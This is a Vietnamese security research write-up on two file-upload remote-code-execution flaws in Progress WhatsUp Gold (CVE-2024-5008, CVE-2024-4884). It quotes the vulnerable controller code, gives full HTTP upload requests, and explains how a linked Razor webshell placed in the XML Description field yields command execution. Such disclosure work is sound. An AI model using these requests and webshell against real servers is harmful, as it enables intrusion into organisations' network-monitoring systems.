Đợt vừa rồi mình cùng @lengocanh cũng target vào Whatsup Gold, tuy kết quả chưa thật sự tốt nhưng cũng có để lại một vài bài học cho ae trong team
TL;DR
Trong quá trình nghiên cứu và kiểm thử bảo mật WhatsUp Gold, team mình đã phát hiện ra ba lỗ hổng nghiêm trọng: một lỗ hổng Remote Code Execution (RCE) mà không cần xác thực, một lỗ hổng RCE yêu cầu xác thực và một lỗ hổng Local File Inclusion (LFI) không cần xác thực. Mặc dù kết quả chưa thực sự tốt, nhưng quá trình nghiên cứu này đã mang lại nhiều bài học quý báu và giúp nâng cao kỹ năng cho các thành viên trong team.
Giới thiệu
WhatsUp Gold là một sản phẩm của Progress Software Corporation (trước đây là Ipswitch) chuyên về quản lý mạng và giám sát hiệu suất. Đây là một giải pháp toàn diện giúp các tổ chức quản lý và giám sát cơ sở hạ tầng mạng của họ, từ các thiết bị mạng đến các ứng dụng và dịch vụ chạy trên đó. WhatsUp Gold là một công cụ mạnh mẽ và linh hoạt trong việc giám sát và quản lý mạng, được sử dụng rộng rãi bởi các tổ chức và doanh nghiệp trên thế giới để đảm bảo rằng cơ sở hạ tầng mạng của họ luôn hoạt động ổn định và hiệu quả.
Có thể nói Whatsup Gold là một sản phẩm C2 (Command & Control) hợp pháp, vì có khả năng giám sát và quản lý các thiết bị mạng từ xa. Điều này bao gồm việc thu thập thông tin và điều khiển các agent cài đặt trên các thiết bị đó.
Setup
Setup debug khá đơn giản, ở đây mình sử dụng ILSpy để extract source code, và Jetbrain Rider để debug
Progress Software WhatsUp Gold APM Unrestricted File Upload Remote Code Execution Vulnerability
CVE-2024-5008 https://www.zerodayinitiative.com/advisories/ZDI-24-895/
Lỗ hổng ở đây rất đơn giản, giống như việc team mình tìm ra được.
Đơn giản chỉ là search WriteAllText
và đọc cái kết quả đầu tiên tìm ra được, trúng lỗi luôn
public async Task<HttpResponseMessage> Post(string fileName, int uploadOption)
{ AppProfileImportController importController = this; if (!importController.Request.Content.IsMimeMultipartContent()) return importController.getResponse(new ResultModel() { message = "MESSAGE_ERROR_APPLICATION_IMPORT_BAD_POST", success = false }); string str = await (await importController.Request.Content.ReadAsMultipartAsync()).Contents.Last<HttpContent>().ReadAsStringAsync(); EntityAPMApplication app; try { using (StringReader reader = new StringReader(str)) app = importController.getApp(reader); } catch { return importController.getResponse(new ResultModel() { message = "MESSAGE_ERROR_APPLICATION_IMPORT_BAD_FILE", success = false }); } if (uploadOption == 0 && System.IO.File.Exists(importController.getPath(fileName))) return importController.getResponse(new ResultModel() { message = "FILE_EXISTS", success = false }); Version apmVersion = Version.Parse(importController.api.GetAPMVersion()); if (!importController.checkVersion(app, apmVersion)) return importController.getResponse(new ResultModel() { message = "MESSAGE_ERROR_APPLICATION_IMPORT_BAD_VERSION", success = false }); if (uploadOption == 2) return importController.makeFileCopy(fileName, app, str); if (importController.api.GetImportType(app) == ApplicationProfileImportType.Duplicate) return importController.getResponse(new ResultModel() { message = "MESSAGE_ERROR_APPLICATION_IMPORT_DUPLICATE", success = false }); System.IO.File.WriteAllText(importController.getPath(fileName), str); return importController.getResponse(new ResultModel() { success = true });
}
Lỗ hổng này nằm trong đoạn code của file AppProfileImportController.cs
và được khai thác thông qua phương thức WriteAllText
. Phần fileName
không được kiểm tra và lọc trước khi sử dụng. Điều này cho phép người dùng đặt tên file tùy ý, bao gồm cả các file có phần mở rộng nguy hiểm như .cshtml
hoặc .aspx
. Trên .NET, các file này có thể chứa shell và khi được tải lên và thực thi, chúng sẽ cho phép kẻ tấn công RCE.
Nội dung của file cần tuân theo định dạng được xử lý bởi hàm getApp
. Hàm này sử dụng XmlSerializer
để deserialize nội dung file từ định dạng XML thành đối tượng EntityAPMApplication
:
private EntityAPMApplication getApp(StringReader reader) => (EntityAPMApplication) new XmlSerializer(typeof (EntityAPMApplication)).Deserialize((TextReader) reader);
Vậy cấu trúc http request của chức năng Import Profile sẽ như sau
POST /NmConsole/api/core/AppProfileImport?fileName=a.xml&uploadOption=0 HTTP/1.1
...
------WebKitFormBoundarycAEgTQJKJabpFKcB
Content-Disposition: form-data; name="filefield-1678-button"; filename="a.xml"
Content-Type: text/xml <?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
aa
</EntityAPMApplication>
------WebKitFormBoundarycAEgTQJKJabpFKcB--
Và tính năng Import Profile trên giao diện web ở đây
RCE
Một điểm cần lưu ý là không thể sử dụng shell ASPX cho việc khai thác này, vì shell ASPX chứa các ký tự <
và >
sẽ gây lỗi khi được xử lý bởi hàm XmlSerializer
trong quá trình deserialize. Điều này khiến việc sử dụng shell ASPX không khả thi trong trường hợp này.
Để vượt qua hạn chế này, ta có thể sử dụng shell CSHTML, một loại shell không chứa các ký tự <
và >
, giúp tránh được lỗi khi deserialize nội dung XML. Shell CSHTML có thể execute được lệnh system.
Có thể tìm kiếm vài shell cshtml trên mạng, ở đây mình đã dùng shell này https://github.com/niemand-sec/RazorSyntaxWebshell/blob/master/webshell.cshtml
Upload shell lên server thành công, bây giờ chỉ cần truy cập vào được file shell là có thể RCE
Để khai thác được lỗ hổng này, user cần có quyền import profile thì mới có thể khai thác được, cho nên CVSS chỉ ở 8.8
Progress Software WhatsUp Gold CommunityController Unrestricted File Upload Remote Code Execution Vulnerability
CVE-2024-4884 https://www.zerodayinitiative.com/advisories/ZDI-24-894/ Lỗi này cũng tương tự giống lỗi trên, vẫn sử dụng chức năng Import nhưng ở API khác
[HttpPost]
public ActionResult Import(IEnumerable<HttpPostedFileBase> importFiles)
{ try { foreach (HttpPostedFileBase importFile in importFiles) { if (importFile.ContentType != "text/xml") throw new Exception("File imports need to be xml content"); string fileName = string.Empty; try { CommunityController._model.ImportProfileFromDisk(importFile, this._GetPublicKeyFileName(), out fileName); if (string.Compare(importFile.FileName, "PublicKey.xml", true) != 0) importFile.SaveAs(Path.Combine(this.Server.MapPath("~/Content/APM/Import"), importFile.FileName)); } catch (Exception ex) { string content = ex.Message; if (ex.InnerException != null && !string.IsNullOrWhiteSpace(ex.InnerException.Message)) content = content + Environment.NewLine + ex.InnerException.Message; return (ActionResult) this.Content(content); } } return (ActionResult) this.Content(string.Empty); } catch (Exception ex) { return (ActionResult) this.Content(ex.Message); }
}
Lỗ hổng này xuất phát từ việc sử dụng phương thức SaveAs
để lưu nội dung của file import vào hệ thống tệp. Cụ thể, đoạn code sau đây:
importFile.SaveAs(Path.Combine(this.Server.MapPath("~/Content/APM/Import"), importFile.FileName));
Tương tự như WriteAllText
bên trên, SaveAs
cũng lưu file được upload vào đường dẫn chỉ định mà không kiểm tra hoặc lọc tên file một cách đầy đủ.
Nội dung của file cần tuân theo định dạng XML như yêu cầu bởi hàm ImportProfileFromDisk
. Ví dụ về nội dung file hợp lệ:
<?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Description></Description> <RequiredAPMVersion>4.0</RequiredAPMVersion> <UpgradeGUID>f23ea4eb-8de5-4724-9fb8-04cef804c036</UpgradeGUID> <Groups />
</EntityAPMApplication>
Thật ra để lấy nội dung file hợp lệ, chỉ cần vào C:\Program Files (x86)\Ipswitch\WhatsUp\html\NmConsole\Content\Apm\Import
lấy file XML bất kỳ nào đó cũng được, sau đó thực hiện Import, sẽ gặp một lỗi là An application profile with same upgrade GUID already exists. Parameter name: UpgradeGUID
thì thay đổi giá trị UpgradeGUID
là xong.
Và đây là request hợp lệ
POST /NmConsole/Community/Import HTTP/1.1
Host: 172.24.163.27
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 497 ------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="importFiles"; filename="abc.xml"
Content-Type: text/xml <?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Description></Description> <RequiredAPMVersion>4.0</RequiredAPMVersion> <UpgradeGUID>f23ea4eb-8de5-4724-9fb8-04cef804c035</UpgradeGUID>
</EntityAPMApplication>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Vẫn tương tự như trên, mình sử dụng shell cshtml được chèn vào phần Description
do không bị giới hạn độ dài, và thế thôi